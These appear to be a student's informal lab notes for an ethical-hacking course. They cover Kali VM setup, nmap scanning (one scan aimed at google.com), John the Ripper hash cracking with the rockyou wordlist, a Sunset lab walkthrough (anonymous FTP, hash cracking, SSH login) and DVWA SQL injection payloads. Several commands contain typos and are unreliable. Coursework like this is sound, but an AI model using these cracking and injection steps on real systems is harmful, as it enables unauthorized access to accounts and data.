prog10 :

Step 1: sudo apt update && sudo apt install john -y

Step 1 : mkpasswd -m md5 "abcabcbcs"

You will get encoded values

Step2: nano passwords.txt

       Myencoded values

Ctrl+o , ctrl+x to save it

Step 3 : for bruteforce

john –-incremental passwords.txt

step 4 : using dictionary

mkpasswd -m sha-512 "password123"

john --format -md5crypt -–wordlists=/user/share/wordlists/rockyou.txt passwords.txt

step5 : john --show passwords.txt

prog2:

1. ls – list files

2. cd – change directory

3. pwd – present working directory

4. mkdir – create folder

5. rmdir – delete empty folder

6. touch – create file

7. rm – delete file

8. cp – copy file

9. mv – move / rename

10. cat – show file content

11. `nano` – simple editor

12. `vi` – vim editor
13. `less` – view file page-by-page
14. `whoami` – current user
15. `uname -a` – system info
16. `date` – date & time
17. `clear` – clear terminal
18. `ls -l` – permissions
19. `chmod` – change permissions
20. `ps` – running processes
21. `top` – live processes
22. `ifconfig` – network info
23. `ip a` – IP address
24. `ping` – check connectivity
25. `nmap` – network scan

ls

pwd

cd /home/kali

mkdir test

rmdir test

touch file.txt

rm file.txt

cp file.txt copy.txt

mv copy.txt newfile.txt

cat newfile.txt

nano newfile.txt

vi newfile.txt

less newfile.txt

whoami

```
uname -a

date

clear

ls -l

chmod 777 newfile.txt

ps

top

ifconfig

ip a

ping google.com

nmap 127.0.0.1
```

prog1:

The steps are

Download the virtual box from the official website Oracle virtual box

Virtual box platform packages , click windows hosts

Run the installer choose the installation location and then finish the installation

Download kalilinux iso image , underinstaller images , it is a 4gb file

Open virtual box click on new -> name kali linux machine folder default , type linux click on next and allocate memory and the create virtual hardisk choose the downloaded image and click create

Start the VM , select gui set the languages , location , keyboard settings , host kali , domain name blank ,username: kali , password :kali , clock and time zone select and continue
Partition disks - choose guided - use entire disk

Select the virtual disk, continue - choose all files in one partition - continue

Finish partitioning - continue, confirm yes to save changes

Installation complete - VM will reboot automatically

Prog3 :

Ifconfig

(take ip from this ipt_taken)

nmap www.google .com

nmap taken_ip

to check for os

sudo nmap -O 127.0.0.1

to detect service and version detection

nmap -sV 127.0.0.1

prog8 :

Steps are as follows

First make a dhcp server once it is already made so no need to make a new one now (ignore)

Ifconfig

sudo netdiscover

(then u will get a ip from this)

Nmap -A 10.0.0.10

ftp 10.0.0.10

username:anonymous

password:

ls

getbackup

cat backup

then copy that sunsetcode into a newfile

nano pass.txt

(paste inside it)

John –incremental pass.txt

Ssh sunset@10.0.0.10

ls

car user.txt

code6 :

 open Metasploit and keep it

ifconfig

u will get ip address 10.0.0.11

come back to host kali

then paste the same ip in firefox

choose 4rth option DVWA

username : admin

Password: password

Then go to sql injection

1' OR '1=1'

1' ORDER BY 1-- -

Prog4 : network analysis nmap and zenmap

nmap 10.0.0.10

sudo nmap -A 127.0.0.1

-A for aggressive scan

sudo nmap -O 127.0.0.1

operating system Detection

nmap -sV 127.0.0.1

service and version

nmap 192.168.1.0/24

for scaning the entire network

nmap www.google.com

Zenmap is same it has gui interface

Prog5: Packet analysis using wirshark

Open the app

Click on capture and then begin creating the packets

Prog6:

Open Metasploit

In this username:username

Password: password

Come back to kali now

Ifconfig

Paste the ip address directly into the firefox

then choose 4rth option dvwa

then choose sqlinjection

1' OR '1='1

1' ORDER BY 1-- -